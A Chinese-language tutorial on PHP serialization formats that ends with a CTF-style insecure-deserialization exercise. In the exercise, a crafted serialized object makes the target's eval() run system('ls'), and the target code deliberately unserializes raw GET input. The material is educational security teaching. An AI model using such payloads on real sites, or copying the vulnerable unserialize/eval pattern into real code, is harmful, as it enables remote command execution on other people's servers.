一、序列化与反序列化
1、概念
PHP中的序列化是指将复杂的数据类型转换为可存储或可传输的字符串,而反序列化则是将这些字符串重新转换回原来的数据类型。
序列化通常使用 serialize()
函数完成,它可以将数组、对象、字符串等复杂数据类型压缩到一个字符串中,这个过程不会影响到数据的类型和结构。序列化主要用于将数据保存到文件、数据库或者通过网络发送时,保证数据的完整性和结构的不变性。需要注意的是,序列化一个对象时会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。
反序列化则使用 unserialize()
函数,它将序列化后的字符串还原为原始的数据类型。这常用于从存储介质如文件或数据库中读取数据时,确保数据可以被正确地重构为原始状态。
总的来说,这两个过程结合起来,可以轻松地在不同的运行环境中存储和传输数据,提高程序的可维护性和灵活性。
2、对象序列化演示
(1)公有修饰符:
<?php
highlight_file(__FILE__);
class test{public $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
通过代码易知,最终将输出类test的实例化对象$a的序列化格式,输出结果如下:
O:4:"test":1:{s:3:"pub";s:6:"benben";}
我们对序列化内容格式进行具体分析:
O -- 表示“Object”,在面向对象编程中译作“对象”。
4 -- 表示类名的长度,通过代码易知类 test 的长度为4。
1 -- 表示类中只有一个属性 $pub。
{} -- 对类中的内容进行分析,但只会分析类中的属性,不会分析类中的方法。
s -- 表示“string”,string表示字符串,表示类中属性$pub的名称是字符串。
3 -- 表示类中属性$pub的长度为3。
"pub" -- 表示类中属性$pub的名称。
;-- 起到间隔作用。
s : 6 : "benben" -- 表示类中属性的值为一个字符串,字符串的长度为6,字符串的名称为 benben。
(2)私有修饰符:
<?php
highlight_file(__FILE__);
class test{private $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
我们观察到类中属性由 public 变成了 private,那么序列化内容会如何改变,改变后的序列化内容如下:
O:4:"test":1:{s:9:"testpub";s:6:"benben";}
我们观察到序列化内容发生了一些变化,其中属性名称变成了 testpub,这里涉及一个知识点,当属性由共有变成私有之后,属性名称会变为 类名 + 属性名称,但是我们又发现,属性长度为9,而testpub的长度仅仅为7,那么多出来的2个字符串长度由何而来呢?
特别说明:私有属性中多出的两个字符串长度:
私有属性中,长度为9的testpub其实在test的首尾拥有两个空格位,分别各占取一个字符串长度,testpub真实情况下应该写作 %00test%00pub,多出的两个字符串长度就是这两个%00。
(3)保护修饰符:
<?php
highlight_file(__FILE__);
class test{protected $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
类中属性由共有变为保护属性,序列化输出结果如下:
O:4:"test":1:{s:6:"*pub";s:6:"benben";}
我们发现属性名称和长度再次发生了变化,名称pub前多出一个*,并且名称长度也与实际观察到的长度不符合,多出了两个字符串长度。
特别说明:保护属性中多出的两个字符串长度:
实际保护属性名称为:空格 + * + 空格 + 属性名称。
URL编码为:%00 + * + %00 + 属性名称。
(4)成员属性调用对象:
<?php
highlight_file(__FILE__);
class test{var $pub='benben';function jineng(){echo $this->pub;}
}
class test2{var $ben;function __construct(){$this->ben=new test();}
}
$a = new test2();
echo serialize($a);
?>
上述代码将实例化对象赋值给成员属性,并将其以序列化格式输出。输出结果如下:
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}
与将一个字符串赋值给成员属性的格式并无不同,唯一不同点是内容变成了一个类罢了。
3、对象反序列化演示
<?php
highlight_file(__FILE__);
class test {public $a = 'benben';protected $b = 666;private $c = false;public function displayVar() {echo $this->a;}
}
$d = new test();
$d = serialize($d);
echo $d."<br />";
echo urlencode($d)."<br />";
$a = urlencode($d);
$b = unserialize(urldecode($a));
var_dump($b);?>
输出代码如下:
(1)O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"*b";i:666;s:7:"testc";b:0;}
序列化格式输出(2)O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
序列化URL编码格式输出(3)object(test)#1 (3) { ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }
将序列化格式反序列化后输出(以反序列化格式输出)
(3)即为反序列化格式输出,本质就是将序列化过的内容进行还原。
二、PHP反序列化例题演示
1、题目源代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{public $a = 'echo "this is test!!";';public function displayVar() {eval($this->a);}
}$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;?>
通过分析源代码可知,test类中存在eval()函数,我们只需要利用eval()函数括号中的代码,来执行我们想要达到目的的指令。
我们已知eval()括号中的值为属性a的值,我们只需要将我们想要执行的指令赋值给 $a 就可以了。
那么如何将我们想要执行的命令赋值给 $呢?我们可以利用反序列化,分析代码可知,首先将用户输入值赋值给"benben"后通过GET方法发送给客户端并且赋值给$get,对$get进行反序列化后将反序列化后的值赋值给$b,最后调用$b中的displayVar()函数,就可以达到将输入值赋值给$a的目的,我们只需要将指令写在benben中即可。
2、构造序列化代码:
<?phpclass test{public $a = '';} $b = new test();$b->a = "system('ls');";echo serialize($b);
?>
输出结果如下:
O:4:"test":1:{s:1:"a";s:13:"system('ls');";}
将输出结果提交给GET["benben"],如下图:
提交后页面如下:
id值成功在页面中显示。